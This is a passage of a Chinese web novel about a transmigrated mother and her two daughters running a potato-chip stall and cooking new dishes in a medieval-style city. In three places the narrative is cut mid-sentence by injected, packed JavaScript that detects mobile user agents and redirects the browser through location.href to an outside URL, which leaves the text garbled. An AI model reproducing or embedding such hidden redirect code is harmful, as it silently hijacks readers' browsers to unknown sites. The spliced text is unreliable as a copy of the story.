200份薯条，真不少了，没看邻居们眼睛都红了吗？ 尤兰达倚着推车，咔嚓咔嚓咬着三明治。 忙碌许久，胳膊差点软成了面条，她得好好歇歇，回家才有力气顺路采购。 说到面条，晚饭吃面条好了…… “薯条夫人！” 一道声音忽然响起，把她从神游中拽回来。 尤兰达抬头一瞧，年轻工匠买完果酱馅饼还没走，站在几步之外，直勾勾盯着她手里的三明治，喉头滚动。 “你、你吃的是什么？下次摆摊……会卖吗？” 21.第 21 章 尤兰达飞快吞咽，举起三明治晃了晃。 “你说它？这是三明治，自家随便做着吃的，不卖。” 年轻工匠双眸黯淡，一瞬不瞬地盯着三明治，“好吃吗？它看起来真不错。” 菲奥娜从旁边探出脑袋，理所当然的语气，“哦~显而易见了，先生，三明治当然好吃。您不就是看了它一眼，就爱上它了吗？” 年轻工匠的脸腾地红了，挠着后脑勺，老实巴交，“是的是的，我确实爱上它了。” 他转向尤兰达，恳切：“薯条夫人，下次摆摊可以准备点三明治吗？我真的很想尝尝它的味道。” 对半切的三明治被葡萄叶和麻布层层包裹，却不难分辨里面的馅料。 白色是白面包，金黄的不知道是什么，想必是薯条夫人独创的食物吧。 红色像番茄，绿色不好确定，莴苣叶子或者卷心菜叶子？淡黄色一定是鸡蛋了。 巴掌大的三明治，精巧又漂亮，不如手里的果酱馅饼一半大，可他就是挪不开眼。 它看起来……真的很好吃。 尤兰达面露难色：“好吧，如果是尊敬的客人需要，我很乐意尝试摆摊售卖。” 年轻工匠的眼睛瞬间锃亮。 “不过，”尤兰达话锋一转，“三明治可不便宜……” “我可以提前付钱。”年轻工匠抢着接话，说完才想起摸摸口袋，查看身上带的钱够不够。 尤兰达强压上翘的唇角，“谢谢您的支持，您将是第一个吃到三明治的顾客，理应享受一些优惠，只需20铜币。” 年轻工匠愣了愣，确实不便宜。 可多看一眼三明治，看看松软的白面包，20铜币好像也没那么贵？ 年轻工匠只犹豫了一瞬，果酱馅饼夹在胳膊下，拿出钱兜数铜币。 西芙拉和菲奥娜傻眼了都，忘记咀嚼。 不是，东西还没做出来呢，这就卖出去一个？ 两人对视一眼，又齐齐转头仰望尤兰达。 妈妈真厉害！ 尤兰达数了一遍，确认20铜币没错，收进羊皮包里，仔细记住客人的脸。 “下次摆摊是星期一，客人记得赶早啊。”她笑眯眯提醒。 年轻工匠眉眼舒展，“一定准时到，夫人，祝您有个愉快的周末。” 他转过身，脚步轻快地走远。走出去好几步，才想起从胳膊底下抽出被冷落许久的果酱馅饼，狠狠咬下去。 粗糙麦麸划过口腔，干涩发渣，他竟不觉得有多难以忍受了。 星期一就能吃到三明治了，嘿嘿。 要说三明治是什么，他说不出个一二三，但有一点可以确定，他从来没见过三明治这样的食物。 就像薯条和薯饼，陌生又新鲜，令人充满期待。 “嘿，阿尔杰，这么高兴是买到薯条了？我记得我去的时候已经不剩多少了吧？” 阿尔杰回到银器坊，才坐下，同为学徒的雀斑脸蹿了出来，轻拍他肩头。 “当然没有，好在果酱馅饼没那么受欢迎，让我能填饱肚子。” 他举起半块馅饼晃了晃，也不管雀斑男孩一脸“那你高兴个什么劲”的表情，自顾自又咬了一口。 吃完最后一块饼皮，阿尔杰到底没忍住炫耀的心思，贼兮兮道： “听着，星期一和我去薯条夫人那里，有新东西吃。 你不会知道那玩意有多美味……哦，我是说看着就美味，我还没机会尝到呢。” 雀斑男孩不以为然地撇撇嘴：“你说的不会是薯饼吧？可怜的阿尔杰，昨天我就吃过了，我可是第一批发现薯条夫人的顾客。” 他挺了挺胸膛，语气得意：“你不知道，当时根本没人敢买，因为薯条太奇怪了，要喝那么多油。是我，勇敢地选择了尝试……” 阿尔杰听腻了，不客气打断：“得了吧，我知道薯饼什么样，你说过的。这次不同，总之，你跟我去就知道了。” 雀斑男孩将信将疑，“薯条夫人又做了新奇的小吃？” “嗯哼，”阿尔杰拖长调子，故意卖关子，“十分新奇。我敢保证，比薯条新奇。” 他顿了顿，又补了一句：“当然，价格也不便宜。” 阿尔杰没说自己已经提前付了钱，也没说自己是第一个预定的人，还因此得了优惠。 他想着，等星期一去薯条夫人的小吃摊，拿上三明治就走，姿态潇洒一些，看雀斑脸以后还怎么吹嘘。 雀斑脸越听心越痒，趁师傅没来上工，抓着阿尔杰胳膊打听，“阿尔杰，你不能这么对我，快告诉是什么，想想看，今天还是我跟你说薯条好吃的呢……” 阿尔杰被雀斑脸一顿扒拉，身体左摇右晃坐不稳，心里美得直冒泡。 - 尤兰达拍拍裙子，抖去掉落在身上的食物残渣，大手一挥，收摊。 正好回家能路过市集，她索性顺路采购。 草药铺里，她买了鲜辣椒和干辣椒，以及几片桂叶，花出去100铜币。 蔬果摊前，番茄、洋葱、大蒜、苹果各挑了些，一共花出去75铜币。 遇到大婶挎篮子兜售小黄瓜，全部买下，又花出去25铜币。 路过粮食铺，她拍出200枚铜币，预定40公斤的土豆，星期一上午送货上门。 尤兰达低估了大家对美味食物的热情，原本以为能坚持卖上三天左右的土豆，才第二天就消耗得差不多了。 番茄酱也是，只剩下薄薄一层底子，蜂蜜芥末酱同样只剩下小半罐。 买齐食材，尤兰达没有耽搁，径直去了贝壳街上的一家二手家具铺。 能省则省，新家具用不起，旧的一样凑合用，但仅限于大厅。二楼的客房改成包厢，必须上点档次。 尤兰达算了算，得花不少钱呢。 “夫人，想买点什么？整个贝壳街就我家的二手家具最多。” 尤兰达东挑西拣一番，实在说不上有多满意。 毕竟二手家具，有毛病在所难免，即便店家回收后修缮过，面子上看不出大问题，老旧痕迹依然遮不住。 唉，就这条件了，不嫌弃。 “我需要12张四人桌，2张八人桌，再配上凳子。” 120平的餐厅，按照极限摆放，最多能塞下十六七张桌子，但那只是按面积硬塞，根本不管什么顾客体验。 尤兰达把桌数降到14，12张四人桌，2张八人桌，是不挤却也不宽松的方案。 太挤了，上菜不方便，冬天多是热乎乎的汤汤水水，走动不方便容易烫着人。太宽松，翻台率下降，影响营业额。 “听起来可真不少，夫人请看，这样的方桌可以吗？别看它旧了点，用材却是结实的橡木，关键是，正好有12张。” 尤兰达一一上手推了推，确保它们足够稳当，“一张多少钱？” 老板捋着胡须：“别着急啊夫人，请听我介绍，这些橡木方桌我们有好好保养，每隔几天刷一次羊油……” 尤兰达定定地望着老板。 老板耸耸肩：“好吧，心急的夫人，一张桌子70铜币，长凳30铜币。” 尤兰达倒吸一口气，这么贵！ “换成杂木拼接的。”她立刻收回手，改口道。 老板笑意淡去，随手往铺子昏暗一角指去，“杂木的在那里，桌腿不够直，不过不影响稳定。” 尤兰达绕过堆放的家具，走到不起眼的角落。 这一瞧，何止不够直啊，根本就是选了曲里拐弯的木棍做桌腿，还好四个腿一样长，不影响稳定倒是真的。 再看桌面，木板纹路不一，颜色深浅、干湿不同，一张桌子，她愣是看出了橡木、山毛榉、白蜡、松木……等等。 说白了，边角料平凑而成。 老板疏懒倚着柜台，“杂木桌便宜，一张20铜币，杂木板凳一张10铜币。” 尤兰达低头一看，杂木板凳比杂木桌子更具乡土风情。 “要了，12张杂木四人桌，48张杂木长凳。” 一共720铜币，这钱花的一点不痛快。 老板问：“送去哪？运送费需要10铜币。对了，八人桌没有杂木的了，夫人再挑挑？” 尤兰达不忍心挑了，八人长桌只会更贵，反正一时半会不能营业，长桌到时候再添置吧。 她婉拒了老板的推荐，留下730铜币和地址，转身出门。 菲奥娜守着钱罐子，心里一抽抽的疼。 她眼睁睁看妈妈一路走走停停，买这个买那个，花出去不少铜币。来到家具铺更过份，进进出出，眨眼工夫又给出去一大半。 现在，广口的大钱罐里，只有一小堆铜币了。 明明妈妈花出去的钱不多，不及她以前买一条裙子的花费，可她心里怎么就那么难受呢？ 菲奥娜扒拉一下钱罐，痛惜开口：“妈妈，今天赚来的钱都快花完了。” 尤兰达伸头一瞧，这不还有一半嘛。 没进项的时候，花钱要多注意着点，免得花超了周转不过来。 现在小吃摊生意逐渐趋于稳定，留够采买食材的钱和周转应急的资金，该花就得花。 “苹果醋、葡萄醋、麦芽酒，便宜卖喽。葡萄汁、甜果酱，新出锅，快来买哦。” 母女三正说着话，推车四处兜售的小贩从不远处的小巷拐出来，不停吆喝。 尤兰达顶着菲奥娜谴责目光，抓起一把铜币，“伙计，给我一罐苹果醋和一罐麦芽酒。” 菲奥娜欲言又止，想劝妈妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244207|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别买了，但见妈妈一共才数出20枚铜币，她都不好意思开口。 20枚铜币，买一条装饰裙子的蝴蝶结都不够，而她，居然在为此苦恼，甚至动了心思劝说妈妈别花了。 菲奥娜成功被自己吓到了，惊恐捧脸，不敢相信省钱的概念竟然会出现在她的脑海里。 西芙拉倒是没觉得有什么，挣钱不就是用来花的吗？ “妈妈，买一罐淡啤酒吧。”西芙拉舔唇。 尤兰达欣然同意，对小贩说“再来一罐淡啤酒”，又给出去3铜币。 菲奥娜没心思计较花钱的事，姐姐有的，她也得有。 “妈妈妈妈，我想喝葡萄汁。”她挤到尤兰达身侧和姐姐较劲。 厚此薄彼的事不能干，尤兰达爽快掏钱。女儿们想要的，都买了。 母女三人高高兴兴回家，一进门，菲奥娜嚷嚷着先数钱。 她必须知道今天赚了多少花了多少，不然心里难受。 菲奥娜抱起罐子进起居室，挪走桌面上的烛台和箩筐。 “用不着这么麻烦，家里有分拣盘。” 尤兰达慢悠悠跟进来，从橱柜深处扒出一块木格盘。 西芙拉：？ 菲奥娜：？？ 两人对视一眼，那她们昨天数半天……算什么？ 事实证明，这次用分拣盘属实大材小用了。 一格，两格，三格……铜币哗啦啦地填满了五个长格子，第六格填了一半多一点。 按照一格100铜币计算，这里有559枚铜币。 菲奥娜呼吸一窒，心痛的无以复加。 就剩下这么点了？ “我们今天赚了多少？”她追问。 尤兰达记着账呢，加加减减一番，报出数字：“今天营业额是1715铜币。” 比第一天摆摊多了整整400铜币，消耗的食材、时间、人力，却不及昨天一半。 这说明什么？成本有效降低，利润成功增加。 再摆几天摊，付完陶瓦的尾款，还能给后院换上新瓦，采买食材也不用束手束脚了。 终于摸到美好生活的尾巴，尤兰达别提多起劲。 她倒出半盆煤炭碎，安排西芙拉和菲奥娜两人捣着，自己提篮子去溪边挖泥。 有过前一次勉强称之为成功的蜂窝煤手搓经验，加上半下午的实际体验，尤兰达琢磨出了门道。 煤炭粉占比70-80%最佳，少了不易点燃，黏土和草屑各占10%左右，具体要看蜂窝煤使用场景决定增减。 做饭用的话，煤炭粉可以少放点，草屑适当多加，引燃快，火力猛，坏处是不耐烧。 如果家庭取暖用，则要多加点黏土，延长燃烧时间。 也是真正使用后，尤兰达才确定，第一次制作并不完美，驴屎蛋子表面光。 比如易碎、孔洞堵塞等问题，粗看看不出，烧到一半烟变大了才发觉有哪里不对劲。 尤兰达努力回想又回想，隐约记起来，爷爷奶奶搓完蜂窝煤，通常会先藏进背光的墙根下阴干，然后再转移到阳光下。 前面关键步骤忘了个干净，她光记着晒太阳了。 黏土过筛倒进大盆里，西芙拉和菲奥娜认命干起苦力活，双臂机械地锤锤锤，眼睛不住飘向一旁忙碌中的尤兰达。 “妈妈，为什么要把它们放进麦芽酒里？” 菲奥娜皱巴着漂亮脸蛋，实在想象不出这样的麦芽酒会是什么味道。 西芙拉：“傻子，当然是为了做出更好喝的麦芽酒啊，对吧妈妈？” 尤兰达搅动锅中酒水，抽空冲西芙拉比了个大拇指。小姑娘真聪明，说对了一大半。 厨房昏暗，外头阳光却正好，她搬来泥炉占据院子一角，熬煮麦芽酒。 等待酒水沸腾间隙，顺道去菜园子里采摘香料，罗勒、迷迭香、百里香、鼠尾草，洗干净摆在一旁。韭葱、大蒜、洋葱、桂叶，码放在盘子里备用。 西芙拉和菲奥娜全程看下来，猜出这些香料不出意外都要放进酒中。 西芙拉不解其意，但她确定妈妈这么做自有道理。 “不是为了喝它，当然，想喝也行。 做好以后它们就成了料酒，做菜的时候洒一点腌制鲜肉海鲜，去腥增香。” 都手搓蜂窝煤了，不差一个自制料酒。 老家的料酒基底要么用黄酒要么用白酒，辛香料也不好找，她没那个本事复刻，自然不敢给老外们尝，怕惹出麻烦。 好东西还是自己偷摸吃吧。 既然基底换成了当地人熟悉的麦芽酒，香料也一并替换成当地人习惯的香草种类，和当地容易获取的调味品。 两相一结合，一锅当地人熟悉又陌生的改良版料酒，就这么成了。 22.第 22 章 料酒蒸腾着热气出锅，馥郁的香料气息瞬间漫开。 西芙拉和菲奥娜丢开手里的活，凑到锅边耸动鼻翼。 “怪怪的，”西芙拉皱眉评价，“好浓的香料味。” 馋鬼菲奥娜不语，一味地找勺子。 葡萄酒、蜂蜜酒、麦芽酒、淡啤酒……都喝过，香料酒没道理错过。 她必要尝尝咸淡，弄清楚料酒究竟是个什么味道。 尤兰达眼疾手快按住人，再三提醒没做好，才成功阻止菲奥娜。 招呼两人捏紧麻布的四个角，撑成一个简易的过滤网，整锅改良料酒倾倒下去，复杂气味扑鼻而来。 “不行，太奇怪了，它真的可以腌肉吗？”西芙拉憋不住气，撇开脸大口呼吸。 菲奥娜接受良好，嗅了一次又一次，“哪里奇怪，明明还不错啊。” “因为你最馋、口味最重。” “少说怪话了，难道你不馋吗？你今天可比我多吃了半块三明治呢。” “你非要计较这些吗？那我只能告诉你，是你先喝光了我的玉米水！笨蛋！” 眼看两人又要打嘴仗，尤兰达直接把她们赶回去翻搅煤炭粉，自己抱起料酒缸回厨房。 她舀起一小勺尝了尝味：微苦，辛辣，麦芽的甜被覆盖得严严实实。 趁她们不注意，尤兰达悄悄从空间拿了点精盐和白糖撒进去，兑一勺苹果醋调味。 再舀起一勺砸吧砸吧，味道和谐多了，可惜刚熬好，未经发酵的料酒风味尚浅。 尤兰达满意地扣上盖子。 这手艺，修道院不和她合作，以后后悔去吧。 也是大环境不好，看把她逼成什么样了都，想吃顿好的全靠自己手搓，多亏她学了门饿不死的手艺。 为了口吃的，尤兰达可谓干劲满满。 她一刻不停歇，找来剪刀剖开干辣椒，剔除发霉变质的，连籽带皮一起冲洗干净。 找遍草药铺，没有尤兰达熟识的品种，谨慎起见，就不加什么二荆条、小米椒调味了，也幸好本土的辣椒足够辣。 而且干辣椒被当地人认定为危险药品，买的人不多，拿来当食物吃的人就更没有了，价格便宜得让人感动。同样50铜币，比新鲜辣椒多出足足一斤。 老板听她说要买干辣椒，起初以为她是有病，再听说她要买一斤，差点乐疯。 不难看出，她在草药铺老板眼里是何等级别的冤大头。 尤兰达决定先搞它个半斤尝尝味。 西芙拉心肝直颤，缩着脖子怂兮兮说：“妈妈，我可没有生病，不要给我喝辣椒水。” 菲奥娜颤巍巍举手：“我也没有，我也不要喝。” 尤兰达：“做好了你们就吃吧，一吃一个不吱声。小西，用点力，一定要搅匀了。” 西芙拉左看看右看看，这不挺匀的嘛。 她敷衍哦了一声，手里木棍却捣得飞起。 “梆梆梆——梆梆梆——” 沥干水份的干辣椒拌上猪油，悉数倒进锅里，尤兰达跟着捣击的节奏挥动锅铲。 全程小火慢慢烘炒，辣椒的香味很快被激发出来，霸道又热烈。 与此同时，院子里的喷嚏声也此起彼伏，一声接一声。 辛辣的气味顺着傍晚的微风飘出去，没多会儿，隔壁邻居家接二连三响起惊天动地的喷嚏。 长长的街巷，不少店铺工坊冒出人来，捂住鼻子、转着脑袋四处探，满脸困惑。 “谁家啊，做什么呢？害得我一直打喷嚏。” “噢，这该死的味道，我以为我生病了呢！” “你也闻到了？不是你家？你家也不是？” “那奇怪了……” 对矮人巷发生的短暂骚动，尤兰达一无所知，手里锅铲快抡出火星子。 直到附近炸开一声高喊：“嘿！到底是谁家，我的鼻子快要死掉了。” 尤兰达这才意识到什么，缩了缩肩膀，不敢吱声。 恰好完成烘炒步骤，她加快速度倒出来晾凉。等干辣椒变脆，分批倒进石臼里，和少量香菜籽一起碾，碾到一半，加入适量的精盐调味，继续碾。 一时间，矮人巷北1店的院子里乒乒乓乓响成一片。 天边霞光万丈时，西芙拉和菲奥娜搅拌好煤粉，尤兰达手里的活也告一段落。 辣椒面，成了。 一分为二，分别倒进两只小陶盅，一盅扣盖子密封放进厨房的置物架。另一盅，尤兰达准备浇热油做辣椒油。 最后这道泼油的步骤，一定要放洋葱、韭葱、蒜瓣、欧芹叶炸一下，老香了。 “滋啦——” 热油浇入的瞬间，香气轰然炸开，搅合两下，熟悉的油泼辣子味直钻鼻腔。 捧着满满一盅红亮亮的辣椒油，尤兰达脑海里已经自动冒出馄饨、拌面、凉拌菜、凉粉……吸溜。 她咽了口唾沫，兴致盎然地做起剁辣椒。 这比辣椒油简单，新鲜辣椒洗净擦干，去蒂剁碎，放入同样料理好的姜末蒜末，放50g盐。 缺少白酒杀菌增香，尤兰达选择加苹果醋和白糖调味、助力发酵。 新鲜辣椒贵，只舍得买一斤，做成剁辣椒也没多少，真就尝个味道。 左手捧起小坛辣酱，右手抱住大罐料酒，走进地窖排排放等发酵。 尤兰达退后两步，双手捧着脸，美滋滋欣赏了好一会儿。 “妈妈，我们需要你的帮助。”院子中，西芙拉一声吼。 尤兰达应了一声，快步来到院中，和两个孩子一起搓煤球。 这回不晒屋顶了，柴棚空着呢，贴墙根阴干。 一通忙，天色擦黑的时候，母女三人直接累瘫，一人占据一张扶手椅，安祥躺平。 西芙拉旧话重提，恳求老母亲聘女仆、杂役，尤兰达认真思考了一会。 确实，家里需要请人料理杂活了。 她理想中的状态是只需围着厨房转，其他事项动动嘴皮子就有人搭把手。 话又说回来，以她们目前的存款，多少有点奢侈。 尤兰达叹气，还能咋滴，加把劲努力赚钱呗。 她支起身，准备和女孩们说一声晚上吃面条，话没出口，就见她们东倒西歪，眼睛半阖着，脑袋一点一点往下栽。 尤兰达噤声，轻手轻脚走去门边，取来衣架上挂着的斗篷盖上去，点燃一截蜡烛照明，悄悄退去厨房。 晚饭定下了吃面条，可她浑身犯懒，不想揉面，于是偷懒取来空间里备下的馄饨皮。 一摞50张，两摞垒一起，切成小指粗细的条，抓起抖落几下，谁还分得清面条和馄饨皮的区别。 水开了，面条下锅煮个三五分钟，捞出后都不用过凉水，已经足够劲道。 面条均分成两碗，搁在一旁晾凉，尤兰达就着面汤烫卷心菜丝，焯胡萝卜丝和洋葱丝。 蔬菜丝断生后沿着碗边码放，红的粉的绿的挤作一团，颜色别提多漂亮。 倒掉浑浊面汤，锅热，放一大勺猪油，快速打两颗鸡蛋进去煎到边缘焦脆，一碗铺一个。 最后是调酱汁。蒜末韭葱炒香，番茄切丁倒入锅中，炒出汁后加水炖着。 正好罐子里剩下一点番茄酱，勺子刮得干干净净，全部加进锅里。 咕嘟咕嘟冒泡的时候，少加点盐和味精调味即可。 不确定她们能不能接受辣椒油，尤兰达便没有自作主张，改放了一把欧芹碎。 连锅端起，浓稠的番茄酱汁浇上面条和配菜，煎蛋吸饱了汁水，视觉效果拉满。 她拿起叉子搅拌，让每一根面条都挂上汁，浸透酸甜的番茄味。 这下，不止视觉，味觉也拉满了。 尤兰达一手端一碗面，来到起居室放在桌上，晃醒两个孩子叫她们吃晚饭了。 两人累极，眼皮子耷拉着，哼哼唧唧半天才肯爬起来，摇摇晃晃走到桌边坐下。 只一盏蜡烛，昏黄昏黄，瞧不清楚，两人也没心思细看，下意识握住叉子准备进食。 西芙拉： O.o ！ 菲奥娜： O。O ？ 两人瞬间精神，揉了揉眼睛瞅着碗里。 菲奥娜不确定的开口：“妈妈，这不是番茄风味珍珠浓汤吧？” “当然不是，它们完全不同，你们现在吃的叫番茄拌面。”而且是懒人版。 菲奥娜双眼茫然呆滞，面条？ 好吧，又是没听过的东西。 只惊讶一会，两人一脑袋埋进碗里，叉子来回划拉，疯狂进食。 面条不面条的，她们不懂，但她们知道好歹。 碗里的面条顺滑软嫩不失劲道，挑起一根仔细观察，不难看出面粉原本颜色应该是雪白细腻的。 因为她们没有吃到哪怕一点点的麦麸粗颗粒。 菲奥娜自诩老吃家了，她立刻判断出来，做出这样的面条，恐怕是潘德美茵级别，细布反复过筛三次才、不，绝对不止三次。 每划一口进去，菲奥娜就特意留意面条的状态，一口又一口，她无比确定，潘德美茵都没它精细，更是倍杀普通白面包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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摘下来的欧芹叶放进微波炉，叮个几分钟烘干，尤兰达转身来到灶台边。 不锈钢锅架上灶台，锅热，倒上辣椒油，打两颗鸡蛋煎至半熟，立即调成小火，飞快切两根淀粉肠加进去，掏出调料包、蔬菜包、酱包依次倒入。 赶在糊底之前注入适量热水，一直煮到锅里冒泡，撒几根青翠的鸡毛菜、鲜红的小米椒碎、几块原浆冻豆腐，顺手抓来几个解冻好的虾仁和蛤蜊加进去，最后，放上一块方便面面饼，压进汤里。 实不相瞒，这才是尤兰达想吃的面条。 连续几天健康饮食，差点憋坏她，稀罕死这一锅超豪华的科技与狠活了。 面饼煮散即可出锅，不能犹豫，犹豫就烂糊了。 等晾凉再入口，浸泡了一会的面条口感不软不硬，最合适不过。 尤兰达捧来一盘辣卤牛杂，兴冲冲准备一起倒进泡面锅，想到什么，动作顿了顿，又放了回去。 今天是斋戒日。 她不信上帝，严格来说，斋戒和她没多大关系。 但她使用的身体有信仰。 老实讲，如果有人穿去她的身体，整天七搞八搞，还违背自己的信仰，尤兰达绝对恨死那个人。 哪怕她的身体已经死透透。 以己度人，她便不忍心破戒。 算了算了，忍忍吧，不吃了。 可不是为了上帝，尊重原身的躯体罢了。 尤兰达连不锈钢泡面锅一起端出空间，搁在桌上晾着。 干欧芹叶装进小盅，一捣即碎，扣上盖子放上目前还空荡的厨房置物架。 然后，她一屁股坐上厨房的门槛，两腿一盘。 晚祷之后，街上几乎听不见多少响动，微凉的夜，万籁俱寂。 她望着天上密密麻麻的星子，无暇欣赏，脑子里过着明天的安排和睡前必做的准备。 菜园子里的莴苣要尽快拔，多耽误几天该老了。 明天上山砍柴，裙子里套条裤子吧，防蚊虫。 对了，得留一个人守家，约了蚝郎送生蚝，家具铺也约好送桌凳。 留谁好呢？ 深入山林一整天，必须多准备点干粮带上。 哦，还有蜂蜜水，母女三人容易低血糖，不能少。 等等，明天早饭吃什么？ 23.第 23 章 鸡叫三声，撕开了清晨的静谧。 待初时祷的钟声铛铛响，彻底唤醒睡梦中的皇城。 不多时，炊烟袅袅升空，随着阳光大盛，越来越多的人家投入新一天的劳作，皇城上空飘起麦香。 西芙拉和菲奥娜就是在阵阵香气中醒来的。 两人迷迷糊糊穿上裙子，胡乱梳了梳头发，凑去窗边吸鼻子： “好像是面包……” “不对，比面包香，有鸡蛋！” “该起床了，孩子们——” 楼下传来尤兰达的呼唤。 两人匆忙应声，加快动作漱口、擦脸，戴上帽子，噔噔噔飞奔下楼。 “哇喔~妈妈，你一个人做了这么多？” 两人一走进起居室，随即发出一声惊呼，欢喜地扑到餐桌边，一双眼睛滴溜溜转根本看不过来。 碗里装着颜色漂亮的菜粥，各种颜色星星点点。 盘子里有肉肠半根、煎蛋一个、煎培根两片，和切成三角小块的金黄酥脆的饼子两块。 餐桌另一端，两只鼓囊囊的羊皮水囊静静躺着，旁边平铺了两块麻布，上面扑了几片葡萄叶，不知道做什么用。 而走进门的尤兰达，手里端着满满一盘饼子，喷香喷香，比街上任意一家做馅饼生意的都诱人。 “当然，我的两个好帮手才刚起床不是吗？” 馅饼放上桌，尤兰达不等她们问，主动介绍：“早饭吃鳕鱼蔬菜麦粥，里面放了胡萝卜、莴苣叶、玉米粒，都是你们爱吃的。” “黄色的饼叫土豆丝饼，土豆胡萝卜切成丝，煎一下就好，你们会喜欢的。” 她说的详细，两人没有疑问，目光一致转向冒着热气的几块馅饼上。 尤兰达：“这个啊，是我们的午饭。” 西芙拉看了看外面的天，这不才早上嘛，怎么就说到午饭了。 尤兰达宣布今天的安排：“小西留下看家，今天有人送货上门，你得注意点。 收货后帮妈妈去集市买两根猪肋骨，妈妈给你们做好吃的。” “小菲，你跟我上山，这两个包裹装我们的干粮，一人一个带在身上，万一走散了至少不会饿肚子。” 菲奥娜对自己跟着妈妈上山毫无意见，纯好奇馅饼的滋味，怎么有大有小、有扁有厚的，想尝。 西芙拉指了指自己，声音委屈：“那我的呢？” 她留在家里要干那么多活，还没口吃的，重妹轻姐！ “怎么会少了你。我们的午饭一模一样。 看，每人三块卷心菜馅饼，三块糖饼，五块鳕鱼蔬菜饼，两颗水煮蛋。”尤兰达头皮一紧，赶紧端水。 说话间，揭开旁边的陶锅盖子展示，“瞧，放在锅里保温呢，茶壶里给你留了蜂蜜苹果薄荷水。” 这么一大桌东西，非得一大早起床才能做完。 然而事实上，她只比两个孩子早半小时起床。 尤兰达可以熬夜，不能早起，昨晚吃完超豪华泡面，顺带手把第二天的早饭一起做了。 正好用空间厨房还方便快捷，第二天早上装模作样拿出来，谁也不会发现不对。 为了装得像点样子，尤兰达特意留了蜂蜜苹果薄荷水没做，早上爬起来慢悠悠生火。 苹果切块煮水，加蜂蜜调和酸味，出锅前摘两片薄荷叶放进去涮上几分钟。 前两者没什么讲究，最后一样薄荷不能多放也不能久煮，否则就是一锅牙膏味，直冲天灵盖的感觉可不舒服。 薄荷提神醒脑，蜂蜜缓解低血糖，苹果生津润燥，甜蜜清凉的饮料最适合今天的行程。 两人刚睡醒，一下子接受那么多信息，整个人懵懵然，好半天回过神。 馅饼她们知道，糖饼和鳕鱼蔬菜饼又是什么？ 两人蠢蠢欲动，想先尝尝糖饼的味道，没等伸出手，尤兰达依次将盘子里的饼均分放在葡萄叶上，又盖上几片叶子，包起麻布系紧。 “小菲，别发呆了，早饭全部吃完，今天的活可不轻松，我们需要更多能量。” 菲奥娜遗憾叉起培根塞进嘴里，顺手贩剑：“可怜的西芙拉，我会给你带一束野玫瑰的。” 西芙拉反击：“可怜的蠢妹妹，挥斧头的时候可别砍着自己的脚。” 尤兰达抬眸：“咳咳。” 两人鹌鹑一样垂下脑袋，老实干饭。 清晨八点左右，尤兰达拉开院门，牵出两边绑上六个箩筐、身后拖着一架板车的大G 从巷子头绕去海螺巷，进入平稳驾驶阶段，尤兰达撑着车板一跳，“嘎吱”一声稳稳坐好。 菲奥娜没她灵活，也不知道该怎么跳上去，急得脑门冒汗。 尤兰达笑话她好一会，被女孩不满瞪视，才拉停大G，伸手一把将她拽上车。 一路向前，陆陆续续有人家推着车、骑着驴、牵着牛出门，汇入街巷，浩浩荡荡向巷子尾进发。 尤兰达本来有点着急，模糊的时间概念总让她担心迟到，这会心里踏实了。 车马多，一路缓行，还没到巷子尾，远远便瞧见起伏的山林，和山林外缘乌泱泱的人群。 原来矮人巷和海螺巷的居民，有这么多啊。 尤兰达驾着大G，顺着人流往前，忍不住四处张望。 有的全家出动，有的派店里学徒杂役，最小的孩子不过7、8岁，不知道能帮上什么忙。 男女老少齐聚，话匣子一下打开了—— “昨天你们闻到了吗？不知道谁家飘出来的，我的鼻子很痛苦。” “海螺巷也能闻到？我闻着和辣椒汤有点像，我每次喝它也打喷嚏。” “天呐，你太聪明了安德森，我说它闻起来有点熟悉。” “这汤煮太浓了，喝下去肯定要拉肚子。” 尤兰达抿紧唇角，稍稍往后躲了躲，整个人藏在大G后面。 菲奥娜悄声问：“妈妈，他们说的不会是……” 尤兰达挤挤眼睛，冲她使眼色，菲奥娜立时住口，眼神飘向别处。 母女俩的心虚，就差写在脸上。 好在邻里们吐槽了几句，氛围渐渐热络起来，话题也慢慢转到了别处。 “鞋匠家那个学徒，叫托马斯的，你们知道不？”裹着头巾的妇人压低声音，却压不住分享八卦的兴奋劲儿，“最近疯了一样到处找培根，听说花出去一周的薪水！” “可不是，太不谨慎了，”推独轮车的老伯摇摇头，“眼看要入冬了，该多囤点食物和皮毛才对。” “他也来我家打听过，”另一个中年男人撇了撇嘴，“上帝啊，当时我真以为他在羞辱我——我们这样的人家，哪吃得起培根？” 年轻妇人接过话头：“托马斯说的那种培根我不知道，不过你们有没有听说，街上多了一种叫薯条的东西？” “薯条？”挎着篮子的胖妇人凑过来，“我买菜的时候听人提过，好多人想尝尝呢。” “你们知道哪儿有卖吗？我得去尝尝看。” 尤兰达：“……” 换了新话题，依然和她脱不了关系。只没想到，薯条的名气就这么莫名其妙传开了。 没有网络，没有社群，该传播的八卦，照样流传得飞快。 尤兰达驾着马，不动声色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264784|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挤去另一边。 